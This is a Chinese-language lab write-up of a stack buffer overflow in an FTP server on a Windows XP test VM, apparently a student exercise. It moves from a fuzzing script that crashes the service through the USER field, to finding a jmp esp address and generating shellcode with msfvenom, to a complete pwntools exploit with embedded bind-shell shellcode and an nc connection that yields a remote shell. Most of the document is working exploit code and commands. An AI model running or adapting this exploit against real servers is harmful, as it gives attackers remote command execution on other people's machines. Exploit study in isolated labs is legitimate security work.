分析漏洞

在xp靶机上开启FTPServer

实验八_image_1

在kali上连接ftp,直接输入aaa/aaa即可进行登录,可以登陆成功,即该服务器并没有对用户进行限制

实验八_image_2

利用python生成一百个’a’登录,报错了

实验八_image_3wireshark抓包得知,只发送出去了78个a

实验八_image_4同时发送了100个a也没令软件崩溃,所以改用其他方法

使用脚本测试

python发包测试

1
2
3
4
5
from pwn import *
p = remote("192.168.100.143", 21)
payload = 'A'*500
p.sendline(payload)
p.interactive()

实验八_image_5
程序崩溃了
实验八_image_6
此时eip指向了0x41414141,从发送的数据’A’的ascii码是0x41得知,USER输入点存在栈溢出漏洞
实验八_image_7
进一步的验证分析就不进行了,网上有更详细的分析过程

漏洞利用

寻找jmp esp地址

实验八_image_8

实验八_image_9

实验八_image_10

实验八_image_11

实验八_image_12

只有一个地址,那就用:77D4754A这个地址

生成shellcode

利用metasploit生成windows反弹shell的shellcode,排除坏数据’\x00\x0a\x0d’,以c语言格式输出,靶机IP:192.168.100.142

1
msfvenom -p windows/shell_bind_tcp LHOSTS=192.168.100.143 LPORT=4444 -b '\x00\x0a\x0d' -f c

实验八_image_13
编写exp,这里使用的是python3的语法,在运行脚本前还需要安装pwntools
\x90为nop指令,起着类似滑板的作用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
p = remote("192.168.100.143",21)
payload = b'A'*251
payload += p32(0x77D4754A)
payload += b'C'*8
payload += b'\x90'*20

shellcode = (
b"\xda\xcb\xd9\x74\x24\xf4\xb8\xcd\x8a\xb1\xec\x5a\x31\xc9"
b"\xb1\x53\x31\x42\x17\x83\xc2\x04\x03\x8f\x99\x53\x19\xf3"
b"\x76\x11\xe2\x0b\x87\x76\x6a\xee\xb6\xb6\x08\x7b\xe8\x06"
b"\x5a\x29\x05\xec\x0e\xd9\x9e\x80\x86\xee\x17\x2e\xf1\xc1"
b"\xa8\x03\xc1\x40\x2b\x5e\x16\xa2\x12\x91\x6b\xa3\x53\xcc"
b"\x86\xf1\x0c\x9a\x35\xe5\x39\xd6\x85\x8e\x72\xf6\x8d\x73"
b"\xc2\xf9\xbc\x22\x58\xa0\x1e\xc5\x8d\xd8\x16\xdd\xd2\xe5"
b"\xe1\x56\x20\x91\xf3\xbe\x78\x5a\x5f\xff\xb4\xa9\xa1\x38"
b"\x72\x52\xd4\x30\x80\xef\xef\x87\xfa\x2b\x65\x13\x5c\xbf"
b"\xdd\xff\x5c\x6c\xbb\x74\x52\xd9\xcf\xd2\x77\xdc\x1c\x69"
b"\x83\x55\xa3\xbd\x05\x2d\x80\x19\x4d\xf5\xa9\x38\x2b\x58"
b"\xd5\x5a\x94\x05\x73\x11\x39\x51\x0e\x78\x56\x96\x23\x82"
b"\xa6\xb0\x34\xf1\x94\x1f\xef\x9d\x94\xe8\x29\x5a\xda\xc2"
b"\x8e\xf4\x25\xed\xee\xdd\xe1\xb9\xbe\x75\xc3\xc1\x54\x85"
b"\xec\x17\xc0\x8d\x4b\xc8\xf7\x70\x2b\xb8\xb7\xda\xc4\xd2"
b"\x37\x05\xf4\xdc\x9d\x2e\x9d\x20\x1e\x41\x02\xac\xf8\x0b"
b"\xaa\xf8\x53\xa3\x08\xdf\x6b\x54\x72\x35\xc4\xf2\x3b\x5f"
b"\xd3\xfd\xbb\x75\x73\x69\x30\x9a\x47\x88\x47\xb7\xef\xdd"
b"\xd0\x4d\x7e\xac\x41\x51\xab\x46\xe1\xc0\x30\x96\x6c\xf9"
b"\xee\xc1\x39\xcf\xe6\x87\xd7\x76\x51\xb5\x25\xee\x9a\x7d"
b"\xf2\xd3\x25\x7c\x77\x6f\x02\x6e\x41\x70\x0e\xda\x1d\x27"
b"\xd8\xb4\xdb\x91\xaa\x6e\xb2\x4e\x65\xe6\x43\xbd\xb6\x70"
b"\x4c\xe8\x40\x9c\xfd\x45\x15\xa3\x32\x02\x91\xdc\x2e\xb2"
b"\x5e\x37\xeb\xc2\x14\x15\x5a\x4b\xf1\xcc\xde\x16\x02\x3b"
b"\x1c\x2f\x81\xc9\xdd\xd4\x99\xb8\xd8\x91\x1d\x51\x91\x8a"
b"\xcb\x55\x06\xaa\xd9")

payload += shellcode
p.sendline(payload)
p.close()

运行脚本,并使用nc进行连接即可成功获得shell
实验八_image_14

参考

https://rj45mp.github.io/Freefloat-FTP-Server1-0溢出漏洞分析/

https://bbs.kanxue.com/thread-266641.htm